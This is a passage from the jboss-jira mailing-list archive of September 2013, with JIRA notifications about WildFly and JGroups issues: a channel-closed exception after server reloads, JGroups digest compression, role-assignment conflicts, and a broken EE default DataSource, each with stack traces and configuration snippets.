    [ https://issues.jboss.org/browse/WFLY-164?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803028#comment-12803028 ] 

RH Bugzilla Integration commented on WFLY-164:
----------------------------------------------

Emanuel Muckenhuber <emuckenh at redhat.com> made a comment on [bug 1006246|https://bugzilla.redhat.com/show_bug.cgi?id=1006246]

Description of problem:

Executing a reload operation using the native mgmt API sometimes results in a channel closed error. Upstream already has some better handling for handling this which should be ported back to EAP6.
                
> java.io.IOException Channel closed exception after several reload of server
> ---------------------------------------------------------------------------
>
>                 Key: WFLY-164
>                 URL: https://issues.jboss.org/browse/WFLY-164
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Ond?ej Chaloupka
>            Assignee: Emanuel Muckenhuber
>             Fix For: 8.0.0.Alpha1
>
>
> Small testing program:
> https://github.com/ochaloup/jboss-dmr-test/blob/master/src/main/java/ochaloup/ClientReload.java
> When I run it first time then everything is fine and reload is done and info from server is shown. 
> When I left the server run and execute my program several more times (3 or more) then it's starting to crash with exception
> {code}
> java.lang.reflect.InvocationTargetException
>         at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
>         at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
>         at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
>         at java.lang.reflect.Method.invoke(Method.java:597)
>         at org.codehaus.mojo.exec.ExecJavaMojo$1.run(ExecJavaMojo.java:297)
>         at java.lang.Thread.run(Thread.java:662)
> Caused by: java.io.IOException: java.util.concurrent.ExecutionException: Operation failed
>         at org.jboss.as.controller.client.impl.AbstractModelControllerClient.executeForResult(AbstractModelControllerClient.java:129)
>         at org.jboss.as.controller.client.impl.AbstractModelControllerClient.execute(AbstractModelControllerClient.java:71)
>         at ochaloup.ClientReload.main(ClientReload.java:19)
>         ... 6 more
> Caused by: java.util.concurrent.ExecutionException: Operation failed
>         at org.jboss.threads.AsyncFutureTask.operationFailed(AsyncFutureTask.java:74)
>         at org.jboss.threads.AsyncFutureTask.get(AsyncFutureTask.java:268)
>         at org.jboss.as.controller.client.impl.AbstractDelegatingAsyncFuture.get(AbstractDelegatingAsyncFuture.java:100)
>         at org.jboss.as.controller.client.impl.AbstractModelControllerClient.executeForResult(AbstractModelControllerClient.java:127)
>         ... 8 more
> Caused by: java.io.IOException: Channel closed
>         at org.jboss.as.protocol.mgmt.AbstractMessageHandler.handleChannelClosed(AbstractMessageHandler.java:354)
>         at org.jboss.as.controller.client.impl.RemotingModelControllerClient$2.handleClose(RemotingModelControllerClient.java:135)
>         at org.jboss.as.controller.client.impl.RemotingModelControllerClient$2.handleClose(RemotingModelControllerClient.java:132)
>         at org.jboss.as.protocol.mgmt.ManagementClientChannelStrategy$Establishing$3.handleClose(ManagementClientChannelStrategy.java:189)
>         at org.jboss.as.protocol.mgmt.ManagementClientChannelStrategy$Establishing$3.handleClose(ManagementClientChannelStrategy.java:180)
>         at org.jboss.remoting3.spi.SpiUtils.safeHandleClose(SpiUtils.java:54)
>         at org.jboss.remoting3.spi.AbstractHandleableCloseable$CloseHandlerTask.run(AbstractHandleableCloseable.java:501)
>         at org.jboss.remoting3.spi.AbstractHandleableCloseable.runCloseTask(AbstractHandleableCloseable.java:406)
>         at org.jboss.remoting3.spi.AbstractHandleableCloseable.closeComplete(AbstractHandleableCloseable.java:277)
>         at org.jboss.remoting3.remote.RemoteConnectionChannel.closeAction(RemoteConnectionChannel.java:517)
>         at org.jboss.remoting3.spi.AbstractHandleableCloseable.closeAsync(AbstractHandleableCloseable.java:359)
>         at org.jboss.remoting3.remote.RemoteConnectionHandler.closeAllChannels(RemoteConnectionHandler.java:382)
>         at org.jboss.remoting3.remote.RemoteConnectionHandler.handleConnectionClose(RemoteConnectionHandler.java:103)
>         at org.jboss.remoting3.remote.RemoteReadListener.handleEvent(RemoteReadListener.java:78)
>         at org.jboss.remoting3.remote.RemoteReadListener.handleEvent(RemoteReadListener.java:45)
>         at org.xnio.ChannelListeners.invokeChannelListener(ChannelListeners.java:72)
>         at org.xnio.channels.TranslatingSuspendableChannel.handleReadable(TranslatingSuspendableChannel.java:189)
>         at org.xnio.channels.TranslatingSuspendableChannel$1.handleEvent(TranslatingSuspendableChannel.java:103)
>         at org.xnio.ChannelListeners.invokeChannelListener(ChannelListeners.java:72)
>         at org.xnio.channels.TranslatingSuspendableChannel.handleReadable(TranslatingSuspendableChannel.java:189)
>         at org.xnio.ssl.JsseConnectedSslStreamChannel.handleReadable(JsseConnectedSslStreamChannel.java:180)
>         at org.xnio.channels.TranslatingSuspendableChannel$1.handleEvent(TranslatingSuspendableChannel.java:103)
>         at org.xnio.ChannelListeners.invokeChannelListener(ChannelListeners.java:72)
>         at org.xnio.nio.NioHandle.run(NioHandle.java:90)
>         at org.xnio.nio.WorkerThread.run(WorkerThread.java:184)
> {code}
> Maybe this could be connected with AS7 testsuite problem:
> https://issues.jboss.org/browse/AS7-4185

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Tue Sep 10 06:02:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 10 Sep 2013 06:02:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-164) java.io.IOException Channel
 closed exception after several reload of server
In-Reply-To: <JIRA.12473197.1346156423000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12473197.1346156423000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12473197.1346156423000.17431.1378807323914@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-164?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-164:
-----------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1006246

    
> java.io.IOException Channel closed exception after several reload of server
> ---------------------------------------------------------------------------
>
>                 Key: WFLY-164
>                 URL: https://issues.jboss.org/browse/WFLY-164
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Ond?ej Chaloupka
>            Assignee: Emanuel Muckenhuber
>             Fix For: 8.0.0.Alpha1
>
>
> Small testing program:
> https://github.com/ochaloup/jboss-dmr-test/blob/master/src/main/java/ochaloup/ClientReload.java
> When I run it first time then everything is fine and reload is done and info from server is shown. 
> When I left the server run and execute my program several more times (3 or more) then it's starting to crash with exception
> {code}
> java.lang.reflect.InvocationTargetException
>         at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
>         at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
>         at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
>         at java.lang.reflect.Method.invoke(Method.java:597)
>         at org.codehaus.mojo.exec.ExecJavaMojo$1.run(ExecJavaMojo.java:297)
>         at java.lang.Thread.run(Thread.java:662)
> Caused by: java.io.IOException: java.util.concurrent.ExecutionException: Operation failed
>         at org.jboss.as.controller.client.impl.AbstractModelControllerClient.executeForResult(AbstractModelControllerClient.java:129)
>         at org.jboss.as.controller.client.impl.AbstractModelControllerClient.execute(AbstractModelControllerClient.java:71)
>         at ochaloup.ClientReload.main(ClientReload.java:19)
>         ... 6 more
> Caused by: java.util.concurrent.ExecutionException: Operation failed
>         at org.jboss.threads.AsyncFutureTask.operationFailed(AsyncFutureTask.java:74)
>         at org.jboss.threads.AsyncFutureTask.get(AsyncFutureTask.java:268)
>         at org.jboss.as.controller.client.impl.AbstractDelegatingAsyncFuture.get(AbstractDelegatingAsyncFuture.java:100)
>         at org.jboss.as.controller.client.impl.AbstractModelControllerClient.executeForResult(AbstractModelControllerClient.java:127)
>         ... 8 more
> Caused by: java.io.IOException: Channel closed
>         at org.jboss.as.protocol.mgmt.AbstractMessageHandler.handleChannelClosed(AbstractMessageHandler.java:354)
>         at org.jboss.as.controller.client.impl.RemotingModelControllerClient$2.handleClose(RemotingModelControllerClient.java:135)
>         at org.jboss.as.controller.client.impl.RemotingModelControllerClient$2.handleClose(RemotingModelControllerClient.java:132)
>         at org.jboss.as.protocol.mgmt.ManagementClientChannelStrategy$Establishing$3.handleClose(ManagementClientChannelStrategy.java:189)
>         at org.jboss.as.protocol.mgmt.ManagementClientChannelStrategy$Establishing$3.handleClose(ManagementClientChannelStrategy.java:180)
>         at org.jboss.remoting3.spi.SpiUtils.safeHandleClose(SpiUtils.java:54)
>         at org.jboss.remoting3.spi.AbstractHandleableCloseable$CloseHandlerTask.run(AbstractHandleableCloseable.java:501)
>         at org.jboss.remoting3.spi.AbstractHandleableCloseable.runCloseTask(AbstractHandleableCloseable.java:406)
>         at org.jboss.remoting3.spi.AbstractHandleableCloseable.closeComplete(AbstractHandleableCloseable.java:277)
>         at org.jboss.remoting3.remote.RemoteConnectionChannel.closeAction(RemoteConnectionChannel.java:517)
>         at org.jboss.remoting3.spi.AbstractHandleableCloseable.closeAsync(AbstractHandleableCloseable.java:359)
>         at org.jboss.remoting3.remote.RemoteConnectionHandler.closeAllChannels(RemoteConnectionHandler.java:382)
>         at org.jboss.remoting3.remote.RemoteConnectionHandler.handleConnectionClose(RemoteConnectionHandler.java:103)
>         at org.jboss.remoting3.remote.RemoteReadListener.handleEvent(RemoteReadListener.java:78)
>         at org.jboss.remoting3.remote.RemoteReadListener.handleEvent(RemoteReadListener.java:45)
>         at org.xnio.ChannelListeners.invokeChannelListener(ChannelListeners.java:72)
>         at org.xnio.channels.TranslatingSuspendableChannel.handleReadable(TranslatingSuspendableChannel.java:189)
>         at org.xnio.channels.TranslatingSuspendableChannel$1.handleEvent(TranslatingSuspendableChannel.java:103)
>         at org.xnio.ChannelListeners.invokeChannelListener(ChannelListeners.java:72)
>         at org.xnio.channels.TranslatingSuspendableChannel.handleReadable(TranslatingSuspendableChannel.java:189)
>         at org.xnio.ssl.JsseConnectedSslStreamChannel.handleReadable(JsseConnectedSslStreamChannel.java:180)
>         at org.xnio.channels.TranslatingSuspendableChannel$1.handleEvent(TranslatingSuspendableChannel.java:103)
>         at org.xnio.ChannelListeners.invokeChannelListener(ChannelListeners.java:72)
>         at org.xnio.nio.NioHandle.run(NioHandle.java:90)
>         at org.xnio.nio.WorkerThread.run(WorkerThread.java:184)
> {code}
> Maybe this could be connected with AS7 testsuite problem:
> https://issues.jboss.org/browse/AS7-4185

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Tue Sep 10 07:12:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Tue, 10 Sep 2013 07:12:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1317) Compress Digest and
	MutableDigest
In-Reply-To: <JIRA.12436429.1304073168000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12436429.1304073168000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12436429.1304073168000.17541.1378811523523@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1317?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803046#comment-12803046 ] 

Bela Ban commented on JGRP-1317:
--------------------------------

In GMS.GmsHeader, the following cases allow for merging the view and digest:
* JOIN_RSP (implemented in JoinRsp): DONE
* MERGE_RSP: DONE
* VIEW
* INSTALL_MERGE_VIEW
                
> Compress Digest and MutableDigest
> ---------------------------------
>
>                 Key: JGRP-1317
>                 URL: https://issues.jboss.org/browse/JGRP-1317
>             Project: JGroups
>          Issue Type: Feature Request
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> For large clusters, STABLE messages are quite large, and should be compressed to be sent over the wire. 
> STABLE messages are sent between members in the same view, so we could only send the ViewId + highest_delivered/highest_received seqnos.
> Everybody who receives a STABLE message grabs the View associated with the ViewId (should be the current view !) and creates a Digest based on the View and the long[] array.
> Further optimization:
> - Canonicalize digests: if everyone has (14) 20, 22, then we could write it once, give it an ID of (say) 1 and then only refer to 1 again if we encounter the same digest. Actually, as a matter of fact, most of the digests would be the same, so this optimization could have a big effect !

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 07:14:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Tue, 10 Sep 2013 07:14:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1317) Compress Digest and
	MutableDigest
In-Reply-To: <JIRA.12436429.1304073168000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12436429.1304073168000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12436429.1304073168000.17550.1378811643419@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1317?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803046#comment-12803046 ] 

Bela Ban edited comment on JGRP-1317 at 9/10/13 7:12 AM:
---------------------------------------------------------

In GMS.GmsHeader, the following cases allow for merging the view and digest:
* JOIN_RSP (implemented in JoinRsp): DONE
* MERGE_RSP: DONE
* INSTALL_MERGE_VIEW

VIEW isn't one of them, as it doesn't carry a digest: view changes are sent to existing members, only JoinRsps sent to joiners carry a digest.
                
      was (Author: belaban):
    In GMS.GmsHeader, the following cases allow for merging the view and digest:
* JOIN_RSP (implemented in JoinRsp): DONE
* MERGE_RSP: DONE
* VIEW
* INSTALL_MERGE_VIEW
                  
> Compress Digest and MutableDigest
> ---------------------------------
>
>                 Key: JGRP-1317
>                 URL: https://issues.jboss.org/browse/JGRP-1317
>             Project: JGroups
>          Issue Type: Feature Request
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> For large clusters, STABLE messages are quite large, and should be compressed to be sent over the wire. 
> STABLE messages are sent between members in the same view, so we could only send the ViewId + highest_delivered/highest_received seqnos.
> Everybody who receives a STABLE message grabs the View associated with the ViewId (should be the current view !) and creates a Digest based on the View and the long[] array.
> Further optimization:
> - Canonicalize digests: if everyone has (14) 20, 22, then we could write it once, give it an ID of (say) 1 and then only refer to 1 again if we encounter the same digest. Actually, as a matter of fact, most of the digests would be the same, so this optimization could have a big effect !

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 07:53:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Tue, 10 Sep 2013 07:53:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2034) Conflict between
 mgmt-groups.properties and "/access=authorisation"
In-Reply-To: <JIRA.12500388.1378813798945@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500388.1378813798945@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500388.1378813798945.17688.1378813983558@jira02.app.mwc.hst.phx2.redhat.com>

Heiko Braun created WFLY-2034:
---------------------------------

             Summary: Conflict between mgmt-groups.properties and "/access=authorisation"
                 Key: WFLY-2034
                 URL: https://issues.jboss.org/browse/WFLY-2034
             Project: WildFly
          Issue Type: Clarification
          Components: Domain Management
            Reporter: Heiko Braun
            Assignee: Brian Stansberry
             Fix For: 8.0.0.CR1


The two concepts are conflicting IMO. It would be better to use a single source for the role assignments. Currently the assigned roles either showup in mgmt-groups.properties or within the management model.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 07:53:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Tue, 10 Sep 2013 07:53:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2035) Conflict between
 mgmt-groups.properties and "/access=authorisation"
In-Reply-To: <JIRA.12500389.1378813972258@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500389.1378813972258@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500389.1378813972258.17692.1378813983737@jira02.app.mwc.hst.phx2.redhat.com>

Heiko Braun created WFLY-2035:
---------------------------------

             Summary: Conflict between mgmt-groups.properties and "/access=authorisation"
                 Key: WFLY-2035
                 URL: https://issues.jboss.org/browse/WFLY-2035
             Project: WildFly
          Issue Type: Clarification
          Components: Domain Management
            Reporter: Heiko Braun
            Assignee: Brian Stansberry
             Fix For: 8.0.0.CR1


The two concepts are conflicting IMO. It would be better to use a single source for the role assignments. Currently the assigned roles either showup in mgmt-groups.properties or within the management model.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 07:57:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 10 Sep 2013 07:57:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2034) Conflict between
 mgmt-groups.properties and "/access=authorisation"
In-Reply-To: <JIRA.12500388.1378813798000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500388.1378813798000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500388.1378813798000.17700.1378814223832@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2034?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803058#comment-12803058 ] 

Darran Lofthouse commented on WFLY-2034:
----------------------------------------

Are you suggesting we no longer support a direct mapping from the group name used in mgmt-group.properties and the roles?
                
> Conflict between mgmt-groups.properties and "/access=authorisation"
> -------------------------------------------------------------------
>
>                 Key: WFLY-2034
>                 URL: https://issues.jboss.org/browse/WFLY-2034
>             Project: WildFly
>          Issue Type: Clarification
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.CR1
>
>
> The two concepts are conflicting IMO. It would be better to use a single source for the role assignments. Currently the assigned roles either showup in mgmt-groups.properties or within the management model.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 08:03:04 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 10 Sep 2013 08:03:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2036) Review of
	AbstractControllerTestBase
In-Reply-To: <JIRA.12500390.1378814554818@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500390.1378814554818@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500390.1378814554818.17744.1378814584023@jira02.app.mwc.hst.phx2.redhat.com>

Darran Lofthouse created WFLY-2036:
--------------------------------------

             Summary: Review of AbstractControllerTestBase
                 Key: WFLY-2036
                 URL: https://issues.jboss.org/browse/WFLY-2036
             Project: WildFly
          Issue Type: Task
          Components: Test Suite
    Affects Versions: 8.0.0.Alpha4
            Reporter: Darran Lofthouse
            Assignee: Darran Lofthouse
             Fix For: 8.0.0.CR1


Currently we have the abstract class AbstractControllerTestBase to use as the base for simplified controller testing, however due to visibility problems we now have three versions of this class which have also started to diverge slightly.

Before this goes too far we should try and bring this back down to one.  Extensions of this class also have certain amount of common functionality.

Maybe also work converting some of this to a 'org.junit.runner.Runner' to avoid the need for inheritance, additional annotations can then be used to define how to configure the controller being tested.



--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 08:08:04 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Tue, 10 Sep 2013 08:08:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2037) Login as user with no role
 assigned leads to 500 error page
In-Reply-To: <JIRA.12500302.1378733298000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500302.1378733298000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500302.1378733298000.17754.1378814884211@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2037?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun moved HAL-181 to WFLY-2037:
---------------------------------------

          Project: WildFly  (was: HAL)
              Key: WFLY-2037  (was: HAL-181)
         Workflow: GIT Pull Request workflow   (was: jira)
      Component/s: Domain Management
                       (was: Core )
    Fix Version/s: 8.0.0.Beta1
                       (was: Core 2.0.0.Final)

    
> Login as user with no role assigned leads to 500 error page
> -----------------------------------------------------------
>
>                 Key: WFLY-2037
>                 URL: https://issues.jboss.org/browse/WFLY-2037
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Jakub Cechacek
>            Assignee: Heiko Braun
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Beta1
>
>
> Some message other than the default 500 error page should be displayed in such case. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 08:08:05 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Tue, 10 Sep 2013 08:08:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2037) Login as user with no role
 assigned leads to 500 error page
In-Reply-To: <JIRA.12500302.1378733298000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500302.1378733298000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500302.1378733298000.17763.1378814885126@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2037?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun reassigned WFLY-2037:
---------------------------------

    Assignee: Brian Stansberry  (was: Heiko Braun)

    
> Login as user with no role assigned leads to 500 error page
> -----------------------------------------------------------
>
>                 Key: WFLY-2037
>                 URL: https://issues.jboss.org/browse/WFLY-2037
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Jakub Cechacek
>            Assignee: Brian Stansberry
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Beta1
>
>
> Some message other than the default 500 error page should be displayed in such case. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 08:16:04 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Tue, 10 Sep 2013 08:16:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2027) EE Default DataSource is not
	working
In-Reply-To: <JIRA.12500313.1378739268000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500313.1378739268000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500313.1378739268000.17783.1378815364965@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2027?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Scott Marlow updated WFLY-2027:
-------------------------------

    Summary: EE Default DataSource is not working  (was: Default DataSource is not working)

    
> EE Default DataSource is not working
> ------------------------------------
>
>                 Key: WFLY-2027
>                 URL: https://issues.jboss.org/browse/WFLY-2027
>             Project: WildFly
>          Issue Type: Bug
>          Components: JPA / Hibernate
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Lincoln Baxter III
>            Assignee: Scott Marlow
>
> The EE spec states that a default datasource must be supplied under: java:comp/DefaultDataSource, and if none is specified by the @Resource or persistence.xml, it must be assumed:
>  {code}EE 5.19
> The Java EE Platform requires that a Java EE Product Provider provide a database 
> in the operational environment (see Section EE.2.6, ?Database?). The Java EE 
> Product Provider must also provide a preconfigured, default data source for use by 
> the application in accessing this database.
> The Java EE Product Provider must make the default data source accessible to 
> the application under the JNDI name java:comp/DefaultDataSource.
> The Application Component Provider or Deployer may explicitly bind a 
> DataSource resource reference to the default data source using the lookup element 
> of the Resource annotation or the lookup-name element of the resource-ref
> deployment descriptor element. For example,
> @Resource(lookup="java:comp/DefaultDataSource")
> DataSource myDS;
> In the absence of such a binding, the mapping of the reference will default to 
> the product's default data source.
> For example, the following will map to a preconfigured data source for the 
> product's default database:
> @Resource
> DataSource myDS;{code}
> This, isn't working however:
> {code}
> <persistence version="2.1" xmlns="http://xmlns.jcp.org/xml/ns/persistence" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
>    xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/persistence http://www.oracle.com/webfolder/technetwork/jsc/xml/ns/persistence/persistence_2_1.xsd">
>    <persistence-unit name="default" transaction-type="JTA">
>    </persistence-unit>
> </persistence>{code}
> Results in: 
> {code}
> 10:41:31,002 ERROR [org.jboss.msc.service.fail] (ServerService Thread Pool -- 50) MSC000001: Failed to start service jboss.persistenceunit."jpa-standard.war#default": org.jboss.msc.service.StartException in service jboss.persistenceunit."jpa-standard.war#default": org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
> 	at org.jboss.as.jpa.service.PersistenceUnitServiceImpl$1.run(PersistenceUnitServiceImpl.java:134) [wildfly-jpa-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_21]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_21]
> 	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
> Caused by: org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
> 	at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.determineDialect(DialectFactoryImpl.java:98)
> 	at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.buildDialect(DialectFactoryImpl.java:66)
> 	at org.hibernate.engine.jdbc.internal.JdbcServicesImpl.configure(JdbcServicesImpl.java:193)
> 	at org.hibernate.boot.registry.internal.StandardServiceRegistryImpl.configureService(StandardServiceRegistryImpl.java:88)
> 	at org.hibernate.service.internal.AbstractServiceRegistryImpl.initializeService(AbstractServiceRegistryImpl.java:159)
> 	at org.hibernate.service.internal.AbstractServiceRegistryImpl.getService(AbstractServiceRegistryImpl.java:131)
> 	at org.hibernate.cfg.Configuration.buildTypeRegistrations(Configuration.java:1844)
> 	at org.hibernate.cfg.Configuration.buildSessionFactory(Configuration.java:1802)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl$4.perform(EntityManagerFactoryBuilderImpl.java:844)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl$4.perform(EntityManagerFactoryBuilderImpl.java:836)
> 	at org.hibernate.boot.registry.classloading.internal.ClassLoaderServiceImpl.withTccl(ClassLoaderServiceImpl.java:368)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl.build(EntityManagerFactoryBuilderImpl.java:835)
> 	at org.jboss.as.jpa.hibernate4.management.TwoPhaseBootstrapImpl.build(TwoPhaseBootstrapImpl.java:44)
> 	at org.jboss.as.jpa.service.PersistenceUnitServiceImpl$1.run(PersistenceUnitServiceImpl.java:115) [wildfly-jpa-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	... 4 more
> 10:41:31,010 ERROR [org.jboss.as.controller.management-operation] (DeploymentScanner-threads - 1) JBAS014613: Operation ("full-replace-deployment") failed - address: ([]) - failure description: {"JBAS014671: Failed services" => {"jboss.persistenceunit.\"jpa-standard.war#default\"" => "org.jboss.msc.service.StartException in service jboss.persistenceunit.\"jpa-standard.war#default\": org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
>     Caused by: org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set"}}
> {code}
> Additionally, actually specifying the expected JDNI name of the default DS like this:
> {code}   <persistence-unit name="default" transaction-type="JTA">
>       <jta-data-source>java:comp/DefaultDataSource</jta-data-source>
>       <exclude-unlisted-classes>false</exclude-unlisted-classes>
>    </persistence-unit>{code}
> Results in this:
> {code}
> JBAS014775:    New missing/unsatisfied dependencies:
>       service jboss.naming.context.java.module.jpa-standard.jpa-standard.DefaultDataSource (missing) dependents: [service jboss.persistenceunit."jpa-standard.war#default".__FIRST_PHASE__] 
>       service jboss.persistenceunit."jpa-standard.war#default".__FIRST_PHASE__ (missing) dependents: [service jboss.deployment.unit."jpa-standard.war".POST_MODULE] 
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Tue Sep 10 08:16:05 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Tue, 10 Sep 2013 08:16:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2027) EE Default DataSource is not
	working
